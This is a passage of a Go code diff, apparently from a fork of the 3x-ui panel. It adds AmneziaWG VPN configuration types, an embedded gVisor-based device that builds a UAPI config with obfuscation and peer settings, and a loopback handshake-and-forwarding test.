+// pure functions that derive an Instance from a stored inbound row. It has
+// no OS dependency of its own: internal/amneziawgnet embeds amneziawg-go
+// over a gVisor netstack and owns the actual running interfaces, one
+// Manager-managed Device per desired Instance -- see that package's Manager
+// for the reconcile-on-tick lifecycle (modeled on internal/mtproto's own
+// Manager), and instance.go's own doc comment for how this package's role
+// narrowed to protocol-shape-only after the kernel-module (DKMS) + awg-quick
+// architecture this fork originally shipped was retired.
+package amneziawg
+
+import "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+
+// Obfuscation31 is an AmneziaWG 3.1 obfuscation parameter set (junk packets,
+// padding, magic headers, the five CPS signature-packet slots, and the 3.x
+// header-protection/content-padding/timing/boolean fields). The same values
+// must be applied on both ends of a tunnel, so the server stores them and
+// every client config inherits them verbatim.
+type Obfuscation31 struct {
+ Jc int `json:"jc"`
+ Jmin int `json:"jmin"`
+ Jmax int `json:"jmax"`
+ S1 int `json:"s1"`
+ S2 int `json:"s2"`
+ S3 int `json:"s3"`
+ S4 int `json:"s4"`
+ H1 string `json:"h1"`
+ H2 string `json:"h2"`
+ H3 string `json:"h3"`
+ H4 string `json:"h4"`
+ // I1-I5 are the real protocol's five CPS signature-packet slots
+ // (confirmed against amneziawg-go v3.0.3's device/uapi.go: "i1"
+ // through "i5" are five independent UAPI setters, device.ipackets[0..4],
+ // all parsed via the identical newObfChain grammar).
+ I1 string `json:"i1,omitempty"`
+ I2 string `json:"i2,omitempty"`
+ I3 string `json:"i3,omitempty"`
+ I4 string `json:"i4,omitempty"`
+ I5 string `json:"i5,omitempty"`
+
+ // HeaderProtectionKey is a base64 32-byte key shared by both ends; the
+ // ranges/booleans below are 3.x-only and optional.
+ HeaderProtectionKey string `json:"headerProtectionKey,omitempty"`
+ ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+ RekeyAfterTime string `json:"rekeyAfterTime,omitempty"`
+ RekeyTimeout string `json:"rekeyTimeout,omitempty"`
+ RejectAfterTime string `json:"rejectAfterTime,omitempty"`
+ KeepaliveTimeout string `json:"keepaliveTimeout,omitempty"`
+ MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
+ RandomTrailers bool `json:"randomTrailers,omitempty"`
+ DisableCookies bool `json:"disableCookies,omitempty"`
+}
+
+// Peer is one desired AmneziaWG peer: a client device the interface accepts.
+// Email attributes traffic and online status back to the owning client, the
+// same role SecretEntry.Name plays for mtproto.
+type Peer struct {
+ Email string
+ PublicKey string
+ PresharedKey string
+ AllowedIPs []string
+
+ // ForwardedPorts is a raw, user-supplied port list ("80, 443, 8000-8100")
+ // forwarded to this peer's tunnel address by internal/amneziawgnet's
+ // PortForwardSet listener supervisor. Empty means no port-forwarding.
+ ForwardedPorts string
+}
+
+// Instance is the desired runtime configuration of one AmneziaWG inbound: a
+// single interface (e.g. awg1) with a set of peers, mirroring how one mtproto
+// inbound maps to one mtg process (internal/mtproto.Instance).
+type Instance struct {
+ Id int
+ Tag string
+ InterfaceName string
+ ListenPort int
+ PrivateKey string
+ PublicKey string
+ // Address holds the interface's own tunnel address(es), e.g. "10.8.1.1/24".
+ // Carries both the IPv4 and (when enabled) IPv6 server address.
+ Address []string
+ MTU int
+
+ // Obfuscation carries the full AmneziaWG 3.1 parameter set, including
+ // the 3.x header-protection/content-padding/timing/boolean fields (see
+ // Obfuscation31's own doc comment) -- amneziawgnet.DeviceOptions is
+ // what actually consumes it when building the embedded Device's UAPI
+ // config.
+ Obfuscation Obfuscation31
+
+ Peers []Peer
+
+ // ExternalInterface named the host NIC PostUp/PostDown NAT rules
+ // attached to under the retired kernel-module architecture. Also the
+ // fallback host NIC internal/amneziawgnet's IPv6-address-alias
+ // mechanism (desiredV6Aliases) uses when IPv6ExternalInterface is left
+ // blank.
+ ExternalInterface string
+
+ // IPv6Enabled/IPv6ExternalInterface gate internal/amneziawgnet's
+ // IPv6-address-alias mechanism (desiredV6Aliases,
+ // internal/web/service/xray.go's injectAmneziawgV6Egress): each peer
+ // with an IPv6 AllowedIPs entry gets that address aliased onto this
+ // host NIC (ip -6 addr add) and a dedicated Xray freedom outbound bound
+ // to it, giving that peer's own outbound connections a distinct public
+ // source identity. Narrower in scope than these identically-named
+ // fields' role under the retired kernel-module architecture, which used
+ // per-peer NDP-proxy entries (ip -6 neigh add proxy) to also support
+ // unsolicited inbound connections toward the peer -- that capability is
+ // the separate, not-yet-built Phase 3.6 (port-forwarding).
+ IPv6Enabled bool
+ IPv6ExternalInterface string
+
+ // RouteThroughXray gated the kernel-module architecture's opt-in
+ // TPROXY-into-Xray bridge. The embedded path (internal/amneziawgnet)
+ // has no equivalent opt-in at all -- every peer's traffic already goes
+ // through Xray's own SOCKS5 inbound unconditionally, since there's no
+ // other way for decapsulated gVisor traffic to reach the real internet
+ // -- so this field is now vestigial: read from existing stored settings
+ // for backward compatibility, but not acted on by anything. Slated for
+ // removal alongside the frontend toggle in a follow-up.
+ RouteThroughXray bool
+}
+
+// ServerSettings is the "server" block of an AmneziaWG inbound's Settings
+// JSON: the interface-level configuration shared by every client/peer. The
+// listen port is deliberately not duplicated here — it lives on the inbound
+// row itself (Inbound.Port), like every other protocol.
+type ServerSettings struct {
+ PrivateKey string `json:"privateKey"`
+ PublicKey string `json:"publicKey"`
+
+ SubnetIP string `json:"subnetIp"`
+ SubnetCIDR int `json:"subnetCidr"`
+ MTU int `json:"mtu,omitempty"`
+
+ // PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is
+ // meaningful, so no omitempty: a dropped key resurrects frontend defaults.
+ PrimaryDNS string `json:"primaryDns"`
+ SecondaryDNS string `json:"secondaryDns"`
+
+ // ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live
+ // again as of Phase 3.5 -- see the matching fields on Instance for what
+ // they gate (internal/amneziawgnet's IPv6-address-alias mechanism).
+ // IPv6Subnet was never actually vestigial either: InstanceFromInbound
+ // already consumes it (via serverAddressV6) to build the server's own
+ // tunnel address, same as always. Only RouteThroughXray, below, remains
+ // genuinely vestigial as of the hard cutover to the embedded path
+ // (internal/amneziawgnet) -- read from existing stored settings for
+ // backward compatibility, but not acted on by anything.
+ ExternalInterface string `json:"externalInterface,omitempty"`
+
+ IPv6Enabled bool `json:"ipv6Enabled,omitempty"`
+ IPv6Subnet string `json:"ipv6Subnet,omitempty"`
+ IPv6ExternalInterface string `json:"ipv6ExternalInterface,omitempty"`
+
+ RouteThroughXray bool `json:"routeThroughXray,omitempty"`
+
+ // Obfuscation31's fields, repeated flat (not embedded) rather than
+ // nested under their own key: encoding/json would happily inline an
+ // embedded Obfuscation31 the same way, but the frontend's Go->Zod/TS
+ // generator (tools/openapigen) does not — it emits a genuinely nested
+ // `obfuscation31` object, which would silently diverge from the real
+ // wire JSON. See Obfuscation() below for the manager-facing conversion.
+ Jc int `json:"jc"`
+ Jmin int `json:"jmin"`
+ Jmax int `json:"jmax"`
+ S1 int `json:"s1"`
+ S2 int `json:"s2"`
+ S3 int `json:"s3"`
+ S4 int `json:"s4"`
+ H1 string `json:"h1"`
+ H2 string `json:"h2"`
+ H3 string `json:"h3"`
+ H4 string `json:"h4"`
+ I1 string `json:"i1,omitempty"`
+ I2 string `json:"i2,omitempty"`
+ I3 string `json:"i3,omitempty"`
+ I4 string `json:"i4,omitempty"`
+ I5 string `json:"i5,omitempty"`
+
+ // HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0
+ // fields, flat and top-level for the same tools/openapigen reason as
+ // the block above; Obfuscation() below folds them back into
+ // Obfuscation31's own identically named fields.
+ // HeaderProtectionKey is a base64 32-byte key; empty (the default)
+ // disables AWG 3.0 header protection. A non-empty value requires
+ // every one of S1-S4 above to be >= 12 -- ValidateObfuscation
+ // enforces this at save time, not just at IpcSet time.
+ // ContentPaddingAddition is a "low-high" range or bare integer, the
+ // same grammar and uint32 cap as H1-H4.
+ HeaderProtectionKey string `json:"headerProtectionKey,omitempty"`
+ ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
+
+ // RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/
+ // MaxHandshakeAttempts mirror Instance's identically named fields --
+ // see that type's own doc comment for the grammar/width/real-default
+ // details. Flat and top-level for the same tools/openapigen reason as
+ // the rest of this struct.
+ RekeyAfterTime string `json:"rekeyAfterTime,omitempty"`
+ RekeyTimeout string `json:"rekeyTimeout,omitempty"`
+ RejectAfterTime string `json:"rejectAfterTime,omitempty"`
+ KeepaliveTimeout string `json:"keepaliveTimeout,omitempty"`
+ MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
+
+ // RandomTrailers/DisableCookies mirror Instance's identically named
+ // AmneziaWG 3.1 fields -- see that type's own doc comment for the real
+ // protocol/interop details. Both real bool fields (not omitempty):
+ // buildUAPIConfig always emits both lines explicitly so the
+ // reconfigure-in-place diff correctly notices a true->false edit, not
+ // just false->true.
+ RandomTrailers bool `json:"randomTrailers"`
+ DisableCookies bool `json:"disableCookies"`
+}
+
+// Obfuscation extracts the Obfuscation31 parameter set from a ServerSettings
+// block, for callers (the Manager, ValidateObfuscation) that want the
+// grouped type rather than the flat wire fields.
+func (s ServerSettings) Obfuscation() Obfuscation31 {
+ return Obfuscation31{
+ Jc: s.Jc, Jmin: s.Jmin, Jmax: s.Jmax,
+ S1: s.S1, S2: s.S2, S3: s.S3, S4: s.S4,
+ H1: s.H1, H2: s.H2, H3: s.H3, H4: s.H4,
+ I1: s.I1, I2: s.I2, I3: s.I3, I4: s.I4, I5: s.I5,
+ HeaderProtectionKey: s.HeaderProtectionKey,
+ ContentPaddingAddition: s.ContentPaddingAddition,
+ RekeyAfterTime: s.RekeyAfterTime,
+ RekeyTimeout: s.RekeyTimeout,
+ RejectAfterTime: s.RejectAfterTime,
+ KeepaliveTimeout: s.KeepaliveTimeout,
+ MaxHandshakeAttempts: s.MaxHandshakeAttempts,
+ RandomTrailers: s.RandomTrailers,
+ DisableCookies: s.DisableCookies,
+ }
+}
+
+// InboundSettings is the full Settings JSON shape stored on an AmneziaWG
+// inbound row: one server block plus the usual generic client list, so bulk
+// operations, the QR modal and subscriptions all come from the same shared
+// infrastructure every other protocol uses.
+type InboundSettings struct {
+ Server *ServerSettings `json:"server"`
+ Clients []model.Client `json:"clients"`
+}
diff --git a/internal/amneziawgnet/device.go b/internal/amneziawgnet/device.go
new file mode 100644
index 000000000..a817d6e75
--- /dev/null
+++ b/internal/amneziawgnet/device.go
@@ -0,0 +1,274 @@
+package amneziawgnet
+
+import (
+ "fmt"
+ "net/netip"
+ "strings"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// defaultMTU matches internal/amneziawg's own kernel-module interface
+// default -- 1420, WireGuard/AmneziaWG's usual accounting for tunnel
+// encapsulation overhead on a standard 1500-byte-MTU host link.
+const defaultMTU = 1420
+
+// DeviceOptions carries AmneziaWG 3.0's device-wide fields (header
+// protection, content padding, and the five session-timing knobs) --
+// mirrored from amneziawg.Instance's identically named fields by every
+// caller (see the 3 Desired{} call sites), not read from Instance
+// directly, since amneziawgnet has no dependency on internal/amneziawg
+// beyond the plain data types it already imports. Zero-value DeviceOptions
+// means amneziawg-go's own real-protocol defaults throughout: classic
+// (non-3.0) obfuscation, and its built-in session timings (120s/5s/180s/
+// 10s/18 attempts -- device/constants.go).
+type DeviceOptions struct {
+ // HeaderProtectionKey is a base64 32-byte key. Empty disables AWG 3.0
+ // header protection entirely. Non-empty requires every one of
+ // Obfuscation31.S1-S4 to be >= 12 (amneziawg-go's own HeaderCipherNonceSize
+ // requirement) -- IpcSet will reject the config otherwise.
+ HeaderProtectionKey string
+ // ContentPaddingAddition, RekeyAfterTime, RekeyTimeout, RejectAfterTime,
+ // KeepaliveTimeout, and MaxHandshakeAttempts are each a "low-high" range
+ // (or a bare integer), amneziawg-go's own UintRange.FromString grammar
+ // (confirmed directly against v3.0.3's device/uapi.go -- all six share
+ // the identical parser). Empty leaves that one field at amneziawg-go's
+ // own default.
+ ContentPaddingAddition string
+ RekeyAfterTime string
+ RekeyTimeout string
+ RejectAfterTime string
+ KeepaliveTimeout string
+ MaxHandshakeAttempts string
+ // RandomTrailers and DisableCookies are AmneziaWG 3.1's two device-wide
+ // bool toggles (confirmed against amneziawg-go v3.1.20260814's
+ // device/uapi.go: "random_trailers"/"disable_cookies", both
+ // strconv.ParseBool). Unlike the string fields above, buildUAPIConfig
+ // emits these unconditionally on every call -- a bool has no "absent"
+ // value to gate on, and always emitting both means the reconfigure-
+ // in-place diff correctly notices a true->false edit, not just
+ // false->true. RandomTrailers requires the peer to also run AmneziaWG
+ // 3.1+ with it enabled: amneziawg-go's own receive path only accepts
+ // an oversized (trailer-padded) packet when the RECEIVING side's own
+ // RandomTrailers is also true, so a one-sided setting makes that
+ // side's packets start getting silently dropped by the other.
+ // DisableCookies is purely local (no peer-side coordination needed)
+ // but trades away WireGuard's handshake-flood DoS-protection cookie
+ // replies for a less distinctive packet shape during a flood.
+ RandomTrailers bool
+ DisableCookies bool
+ // Logger is passed to device.NewDevice as-is; nil uses a silent logger
+ // (device.NewLogger(device.LogLevelSilent, "")).
+ Logger *device.Logger
+}
+
+// Device is one running embedded AmneziaWG interface: an amneziawg-go
+// Device over a gVisor netstack, plus the raw *stack.Stack a caller needs to
+// attach a TCP/UDP forwarder (see forwarder.go / udp.go). Closing it tears
+// down both the WireGuard device and the underlying tun/stack.
+type Device struct {
+ *device.Device
+ Stack *stack.Stack
+}
+
+// NewDevice constructs, configures, and brings up an embedded AmneziaWG
+// interface for inst in one call: a gVisor-backed tun.Device sized to
+// inst.MTU (or defaultMTU), addressed with inst.Address, configured via
+// UAPI with inst.Obfuscation, inst.PrivateKey, opts' AWG 3.0 fields, and one
+// UAPI peer per inst.Peers entry. It does not attach a forwarder or start
+// relaying traffic -- that's the caller's job (see AttachTCPForwarder /
+// AttachUDPHandler) -- which is exactly why a caller that will relay real
+// traffic must NOT use this function: see newUnconfiguredDevice's doc
+// comment for why, and use newUnconfiguredDevice + Configure instead.
+func NewDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+ dev, err := newUnconfiguredDevice(inst, opts)
+ if err != nil {
+ return nil, err
+ }
+ if err := dev.Configure(inst, opts); err != nil {
+ return nil, err
+ }
+ return dev, nil
+}
+
+// newUnconfiguredDevice builds the tun/netstack/device trio but does not
+// configure any peers or bring the interface up -- a caller that will relay
+// real traffic MUST attach its TCP/UDP handlers (AttachTCPForwarder /
+// AttachUDPHandler) against the returned Device.Stack BEFORE calling
+// Configure, not after.
+//
+// This ordering is not a style preference: Configure's IpcSet is what
+// starts each configured peer's receive goroutine (amneziawg-go's
+// Peer.Start, called from handlePostConfig), and a peer whose handshake
+// completes fast enough (e.g. an already-connected client reconnecting
+// right as an MTU/address change forces this package's own Manager to
+// rebuild the Device) can begin delivering packets into the stack
+// immediately -- concurrently with a caller that only calls
+// gstack.SetTransportProtocolHandler (AttachTCPForwarder/AttachUDPHandler)
+// after Configure returns. A -race CI run caught exactly this as a real
+// WARNING: DATA RACE between stack.(*nic).DeliverTransportPacket (the
+// peer's receive goroutine, reading the handler table) and
+// stack.(*Stack).SetTransportProtocolHandler (the attaching goroutine,
+// writing it). See manager.go's ensureLocked rebuild branch for the real
+// call order this function exists to support.
+func newUnconfiguredDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+ addrs, err := hostAddresses(inst.Address)
+ if err != nil {
+ return nil, fmt.Errorf("amneziawgnet: %w", err)
+ }
+
+ mtu := inst.MTU
+ if mtu <= 0 {
+ mtu = defaultMTU
+ }
+
+ tun, gstack, err := createNetTUNWithStack(addrs, mtu)
+ if err != nil {
+ return nil, fmt.Errorf("amneziawgnet: create netstack: %w", err)
+ }
+
+ logger := opts.Logger
+ if logger == nil {
+ logger = device.NewLogger(device.LogLevelSilent, "")
+ }
+ dev := device.NewDevice(tun, awgconn.NewDefaultBind(), logger)
+
+ return &Device{Device: dev, Stack: gstack}, nil
+}
+
+// Configure applies inst/opts to d via UAPI and brings the interface up.
+// Call at most once per Device, and -- for any caller relaying real
+// traffic -- only after any AttachTCPForwarder/AttachUDPHandler
+// registration against d.Stack (see newUnconfiguredDevice's doc comment
+// for why the order matters). Closes d and returns an error if either step
+// fails; the caller owns closing anything else it already built against
+// d.Stack in that case (e.g. a UDP relay or port-forward set).
+func (d *Device) Configure(inst amneziawg.Instance, opts DeviceOptions) error {
+ conf, err := buildUAPIConfig(inst, opts)
+ if err != nil {
+ d.Close()
+ return fmt.Errorf("amneziawgnet: %w", err)
+ }
+ if err := d.IpcSet(conf); err != nil {
+ d.Close()
+ return fmt.Errorf("amneziawgnet: IpcSet for inbound %d: %w", inst.Id, err)
+ }
+ if err := d.Up(); err != nil {
+ d.Close()
+ return fmt.Errorf("amneziawgnet: bring up inbound %d: %w", inst.Id, err)
+ }
+ return nil
+}
+
+// hostAddresses parses each of inst.Address's CIDR strings (e.g.
+// "10.8.1.1/24") down to the bare host address the netstack's NIC gets
+// configured with -- the interface's own address, not the subnet it routes.
+func hostAddresses(addresses []string) ([]netip.Addr, error) {
+ out := make([]netip.Addr, 0, len(addresses))
+ for _, a := range addresses {
+ prefix, err := netip.ParsePrefix(a)
+ if err != nil {
+ return nil, fmt.Errorf("invalid interface address %q: %w", a, err)
+ }
+ out = append(out, prefix.Addr())
+ }
+ return out, nil
+}
+
+// buildUAPIConfig renders inst (plus opts' AWG 3.0 fields) as a WireGuard
+// UAPI "set" configuration string -- private_key/listen_port/jc.../s1-s4/
+// h1-h4/i1-i5 device lines, the AWG 3.0 device lines when opts asks for them,
+// then one public_key/preshared_key/allowed_ip block per peer. Field names
+// and format match amneziawg-go v3.0.3's device/uapi.go exactly (confirmed
+// against its real source during Phase 0 spiking, not just its docs).
+func buildUAPIConfig(inst amneziawg.Instance, opts DeviceOptions) (string, error) {
+ var b strings.Builder
+
+ privHex, err := wireguard.KeyToHex(inst.PrivateKey)
+ if err != nil {
+ return "", fmt.Errorf("invalid server private key: %w", err)
+ }
+ fmt.Fprintf(&b, "private_key=%s\n", privHex)
+ fmt.Fprintf(&b, "listen_port=%d\n", inst.ListenPort)
+ // replace_peers makes every apply a full resync (matches this package's
+ // own Manager.Ensure semantics): peers no longer in inst.Peers are
+ // dropped instead of lingering from a previous IpcSet call.
+ b.WriteString("replace_peers=true\n")
+
+ o := inst.Obfuscation
+ fmt.Fprintf(&b, "jc=%d\njmin=%d\njmax=%d\n", o.Jc, o.Jmin, o.Jmax)
+ fmt.Fprintf(&b, "s1=%d\ns2=%d\ns3=%d\ns4=%d\n", o.S1, o.S2, o.S3, o.S4)
+ writeOptionalLine(&b, "h1", o.H1)
+ writeOptionalLine(&b, "h2", o.H2)
+ writeOptionalLine(&b, "h3", o.H3)
+ writeOptionalLine(&b, "h4", o.H4)
+ writeOptionalLine(&b, "i1", o.I1)
+ writeOptionalLine(&b, "i2", o.I2)
+ writeOptionalLine(&b, "i3", o.I3)
+ writeOptionalLine(&b, "i4", o.I4)
+ writeOptionalLine(&b, "i5", o.I5)
+
+ if opts.HeaderProtectionKey != "" {
+ hpHex, err := wireguard.KeyToHex(opts.HeaderProtectionKey)
+ if err != nil {
+ return "", fmt.Errorf("invalid header protection key: %w", err)
+ }
+ fmt.Fprintf(&b, "header_protection_key=%s\n", hpHex)
+ }
+ if opts.ContentPaddingAddition != "" {
+ fmt.Fprintf(&b, "content_padding_addition=%s\n", opts.ContentPaddingAddition)
+ }
+ if opts.RekeyAfterTime != "" {
+ fmt.Fprintf(&b, "rekey_after_time=%s\n", opts.RekeyAfterTime)
+ }
+ if opts.RekeyTimeout != "" {
+ fmt.Fprintf(&b, "rekey_timeout=%s\n", opts.RekeyTimeout)
+ }
+ if opts.RejectAfterTime != "" {
+ fmt.Fprintf(&b, "reject_after_time=%s\n", opts.RejectAfterTime)
+ }
+ if opts.KeepaliveTimeout != "" {
+ fmt.Fprintf(&b, "keepalive_timeout=%s\n", opts.KeepaliveTimeout)
+ }
+ if opts.MaxHandshakeAttempts != "" {
+ fmt.Fprintf(&b, "max_handshake_attempts=%s\n", opts.MaxHandshakeAttempts)
+ }
+ fmt.Fprintf(&b, "random_trailers=%t\n", opts.RandomTrailers)
+ fmt.Fprintf(&b, "disable_cookies=%t\n", opts.DisableCookies)
+
+ for _, p := range inst.Peers {
+ pubHex, err := wireguard.KeyToHex(p.PublicKey)
+ if err != nil {
+ return "", fmt.Errorf("peer %q: invalid public key: %w", p.Email, err)
+ }
+ fmt.Fprintf(&b, "public_key=%s\n", pubHex)
+ if p.PresharedKey != "" {
+ pskHex, err := wireguard.KeyToHex(p.PresharedKey)
+ if err != nil {
+ return "", fmt.Errorf("peer %q: invalid preshared key: %w", p.Email, err)
+ }
+ fmt.Fprintf(&b, "preshared_key=%s\n", pskHex)
+ }
+ for _, allowedIP := range p.AllowedIPs {
+ fmt.Fprintf(&b, "allowed_ip=%s\n", allowedIP)
+ }
+ }
+
+ return b.String(), nil
+}
+
+// writeOptionalLine writes a "name=v" UAPI line only when v is set -- used for
+// h1-h4 and i1-i5, whose empty value means "let amneziawg-go fall back to its
+// own default," mirroring how internal/amneziawg's generateServerConfig
+// treats the same optional fields.
+func writeOptionalLine(b *strings.Builder, name, v string) {
+ if v == "" {
+ return
+ }
+ fmt.Fprintf(b, "%s=%s\n", name, v)
+}
diff --git a/internal/amneziawgnet/device_test.go b/internal/amneziawgnet/device_test.go
new file mode 100644
index 000000000..4fe5bf5aa
--- /dev/null
+++ b/internal/amneziawgnet/device_test.go
@@ -0,0 +1,550 @@
+package amneziawgnet
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "net/netip"
+ "strings"
+ "testing"
+ "time"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceHandshakeForwarderAndIdentity is Phase 1's real end-to-end
+// proof, not just a compile check: a genuine amneziawg-go client (via that
+// project's own tun/netstack.CreateNetTUN -- the client side doesn't need a
+// forwarder or peer-identity resolution, only this package's server side
+// does) completes a real 3-way handshake against a Device built by
+// NewDevice, dials a destination that was never configured anywhere on the
+// server, and the test verifies AttachTCPForwarder recovers that exact
+// destination *and* PeerIndex.Lookup resolves the connection's source back
+// to the right peer's Email -- Phase 1a/1b/1c working together, the same
+// mechanism Phase 0's throwaway spike validated, now as a real, repo-owned,
+// repeatable test instead of scratch code.
+func TestNewDeviceHandshakeForwarderAndIdentity(t *testing.T) {
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ const listenPort = 58712 // fixed loopback test port, matches the validated Phase 0 spike approach
+ const wantEmail = "test-peer@example.com"
+
+ inst := amneziawg.Instance{
+ Id: 1,
+ InterfaceName: "awgtest1",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.201.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{{
+ Email: wantEmail,
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.201.0.2/32"},
+ }},
+ }
+
+ dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+
+ idx := NewPeerIndex(inst.Peers)
+
+ type recovered struct {
+ email string
+ ok bool
+ dest netip.AddrPort
+ }
+ got := make(chan recovered, 1)
+
+ // Never configured anywhere server-side: the forwarder must recover it
+ // purely from the decapsulated packet, not from any routing table.
+ wantDest := netip.MustParseAddrPort("10.201.9.9:9999")
+
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+ defer conn.Close()
+ srcAddrPort, parseErr := netip.ParseAddrPort(conn.RemoteAddr().String())
+ var peer amneziawg.Peer
+ var ok bool
+ if parseErr == nil {
+ peer, ok = idx.Lookup(srcAddrPort.Addr().Unmap())
+ }
+ got <- recovered{email: peer.Email, ok: ok, dest: dest}
+ io.Copy(io.Discard, conn)
+ })
+
+ // Configure (IpcSet) must come after AttachTCPForwarder -- see
+ // newUnconfiguredDevice's doc comment: IpcSet is what starts the peer's
+ // receive goroutine, which must never be able to run before the
+ // forwarder is registered on the stack.
+ if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.201.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ // allowed_ip=0.0.0.0/0 on the client matches a real VPN client's own
+ // config (route everything through the tunnel) -- it's also what makes
+ // dialing an arbitrary, never-configured destination like wantDest
+ // actually get routed to the server peer at all: a narrower AllowedIPs
+ // here would make the client's own Device drop the packet as
+ // non-matching before it ever reached the wire.
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ // Retry the dial rather than guessing a fixed handshake delay: the
+ // first attempts may race the handshake, later ones should succeed
+ // once it completes.
+ dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+ defer cancel()
+ var lastErr error
+ for {
+ conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+ if dialErr == nil {
+ conn.Close()
+ break
+ }
+ lastErr = dialErr
+ select {
+ case <-dialCtx.Done():
+ t.Fatalf("client dial never succeeded: %v", lastErr)
+ case <-time.After(100 * time.Millisecond):
+ }
+ }
+
+ select {
+ case r := <-got:
+ if !r.ok {
+ t.Fatal("forwarder: peer identity lookup failed for the recovered connection")
+ }
+ if r.email != wantEmail {
+ t.Errorf("resolved peer email = %q, want %q", r.email, wantEmail)
+ }
+ if r.dest != wantDest {
+ t.Errorf("recovered destination = %v, want %v", r.dest, wantDest)
+ }
+ case <-time.After(5 * time.Second):
+ t.Fatal("timed out waiting for the forwarder to hand back the recovered connection")
+ }
+}
+
+// TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines is a cheap,
+// network-free companion to the real round-trip test below: confirms the 2
+// AWG 3.0 UAPI lines only appear when set, and that a malformed
+// HeaderProtectionKey surfaces a clear, wrapped error instead of silently
+// producing a UAPI string amneziawg-go's own IpcSet would reject uselessly.
+func TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines(t *testing.T) {
+ priv, _, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate keypair: %v", err)
+ }
+ inst := amneziawg.Instance{
+ PrivateKey: priv,
+ Obfuscation: amneziawg.Obfuscation31{
+ S1: 20, S2: 20, S3: 20, S4: 20,
+ },
+ }
+
+ conf, err := buildUAPIConfig(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("buildUAPIConfig with empty options: %v", err)
+ }
+ if strings.Contains(conf, "header_protection_key=") || strings.Contains(conf, "content_padding_addition=") {
+ t.Fatalf("empty DeviceOptions must not emit AWG 3.0 lines, got:\n%s", conf)
+ }
+
+ key, err := wireguard.GenerateWireguardPSK()
+ if err != nil {
+ t.Fatalf("generate header protection key: %v", err)
+ }
+ conf, err = buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: key, ContentPaddingAddition: "20-40"})
+ if err != nil {
+ t.Fatalf("buildUAPIConfig with AWG 3.0 options: %v", err)
+ }
+ if !strings.Contains(conf, "header_protection_key=") {
+ t.Errorf("expected a header_protection_key= line, got:\n%s", conf)
+ }
+ if !strings.Contains(conf, "content_padding_addition=20-40\n") {
+ t.Errorf("expected a content_padding_addition=20-40 line, got:\n%s", conf)
+ }
+
+ if _, err := buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: "not-a-valid-base64-key"}); err == nil {
+ t.Fatal("a malformed HeaderProtectionKey must be rejected, not silently passed through")
+ }
+}
+
+// TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip is the real proof
+// behind AmneziaWG 3.0's admin-facing HeaderProtectionKey/
